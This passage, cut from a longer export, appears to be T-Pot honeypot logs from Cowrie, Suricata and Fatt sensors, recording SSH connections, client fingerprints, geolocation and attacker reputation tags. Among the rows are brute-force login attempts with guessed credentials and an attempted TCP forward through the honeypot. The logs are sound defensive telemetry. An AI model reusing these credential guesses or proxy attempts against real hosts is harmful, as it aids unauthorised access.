"rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3b1e6ce84865", "@version": "1", "timestamp": "2021-09-20T11:43:26.506323Z", "@timestamp": "2021-09-20T11:43:26.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
31231	110.137.195.172	109.199.241.180	Suricata	2021-09-20 14:43:26.505667+03	2021-09-20 14:45:04.220142+03	{"_id": "ogYEA3wBvYTbRNuEn0Lt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "flow_id": 336699462690919, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 19683, "dest_port": 22, "timestamp": "2021-09-20T11:43:26.505667Z", "@timestamp": "2021-09-20T11:43:26.505Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
31232	110.137.195.172	109.199.241.180	Fatt	2021-09-20 14:43:26.505748+03	2021-09-20 14:45:04.221141+03	{"_id": "pQYEA3wBvYTbRNuEoELf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 19683, "dest_port": 22, "timestamp": "2021-09-20T11:43:26.505748", "@timestamp": "2021-09-20T11:43:26.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31233	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:43:27.514518+03	2021-09-20 14:45:04.223142+03	{"_id": "pgYEA3wBvYTbRNuEokIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.login.failed", "message": "login attempt [thor/thor] failed", "session": "3b1e6ce84865", "@version": "1", "password": "thor", "username": "thor", "timestamp": "2021-09-20T11:43:27.514518Z", "@timestamp": "2021-09-20T11:43:27.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
31234	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:43:28.747192+03	2021-09-20 14:45:04.224142+03	{"_id": "qAYEA3wBvYTbRNuEqULs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3b1e6ce84865", "@version": "1", "duration": 2.4712867736816406, "timestamp": "2021-09-20T11:43:28.747192Z", "@timestamp": "2021-09-20T11:43:28.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31235	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:43:31.364153+03	2021-09-20 14:45:04.225142+03	{"_id": "rgYEA3wBvYTbRNuEsUK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:51146 (192.168.176.2:22) [session: 6d43cb8d0699]", "session": "6d43cb8d0699", "@version": "1", "protocol": "ssh", "src_port": 51146, "dest_port": 22, "timestamp": "2021-09-20T11:43:31.364153Z", "@timestamp": "2021-09-20T11:43:31.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31236	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:43:31.367166+03	2021-09-20 14:45:04.226142+03	{"_id": "rwYEA3wBvYTbRNuEsUK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6d43cb8d0699", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:43:31.367166Z", "@timestamp": "2021-09-20T11:43:31.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31237	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:43:31.473532+03	2021-09-20 14:45:04.228144+03	{"_id": "sAYEA3wBvYTbRNuEsUK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6d43cb8d0699", "@version": "1", "timestamp": "2021-09-20T11:43:31.473532Z", "@timestamp": "2021-09-20T11:43:31.473Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31238	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:43:31.472751+03	2021-09-20 14:45:04.229143+03	{"_id": "sQYEA3wBvYTbRNuEs0J4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 2104087095274845, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51146, "dest_port": 22, "timestamp": "2021-09-20T11:43:31.472751Z", "@timestamp": "2021-09-20T11:43:31.472Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31239	91.231.219.157	109.199.241.180	Fatt	2021-09-20 14:43:31.472954+03	2021-09-20 14:45:04.230143+03	{"_id": "tAYEA3wBvYTbRNuEtEJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51146, "dest_port": 22, "timestamp": "2021-09-20T11:43:31.472954", "@timestamp": "2021-09-20T11:43:31.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31240	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:43:32.005406+03	2021-09-20 14:45:04.232144+03	{"_id": "tgYEA3wBvYTbRNuEtUKn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.failed", "message": "login attempt [root/asd123456789] failed", "session": "6d43cb8d0699", "@version": "1", "password": "asd123456789", "username": "root", "timestamp": "2021-09-20T11:43:32.005406Z", "@timestamp": "2021-09-20T11:43:32.005Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31241	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:43:33.114042+03	2021-09-20 14:45:04.233144+03	{"_id": "twYEA3wBvYTbRNuEuUKP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "6d43cb8d0699", "@version": "1", "duration": 1.7472259998321533, "timestamp": "2021-09-20T11:43:33.114042Z", "@timestamp": "2021-09-20T11:43:33.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31242	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:43:34.841022+03	2021-09-20 14:45:04.234144+03	{"_id": "xwYEA3wBvYTbRNuEwUJh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET / HTTP/1.0\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "dest_ip": "ya.ru", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to ya.ru:80 with data b'GET / HTTP/1.0\\\\r\\\\n\\\\r\\\\n'", "session": "3238ff6461d8", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:43:34.841022Z", "@timestamp": "2021-09-20T11:43:34.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
31243	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:43:34.902117+03	2021-09-20 14:45:04.235144+03	{"_id": "yAYEA3wBvYTbRNuEwUJh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "3238ff6461d8", "@version": "1", "duration": 0.4257166385650635, "timestamp": "2021-09-20T11:43:34.902117Z", "@timestamp": "2021-09-20T11:43:34.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31244	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:43:26.273309+03	2021-09-20 14:45:04.237143+03	{"_id": "oAYEA3wBvYTbRNuEnkIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 110.137.195.172:19683 (192.168.176.2:22) [session: 3b1e6ce84865]", "session": "3b1e6ce84865", "@version": "1", "protocol": "ssh", "src_port": 19683, "dest_port": 22, "timestamp": "2021-09-20T11:43:26.273309Z", "@timestamp": "2021-09-20T11:43:26.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
31245	110.137.195.172	109.199.241.180	Suricata	2021-09-20 14:43:26.505748+03	2021-09-20 14:45:04.238171+03	{"_id": "owYEA3wBvYTbRNuEn0Lt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:43:26.043111+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 336699462690919, "payload": "AAADzAYU7d2/W6xHcfsXjNUmn2GdRQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 19683, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:43:26.505748Z", "@timestamp": "2021-09-20T11:43:26.505Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 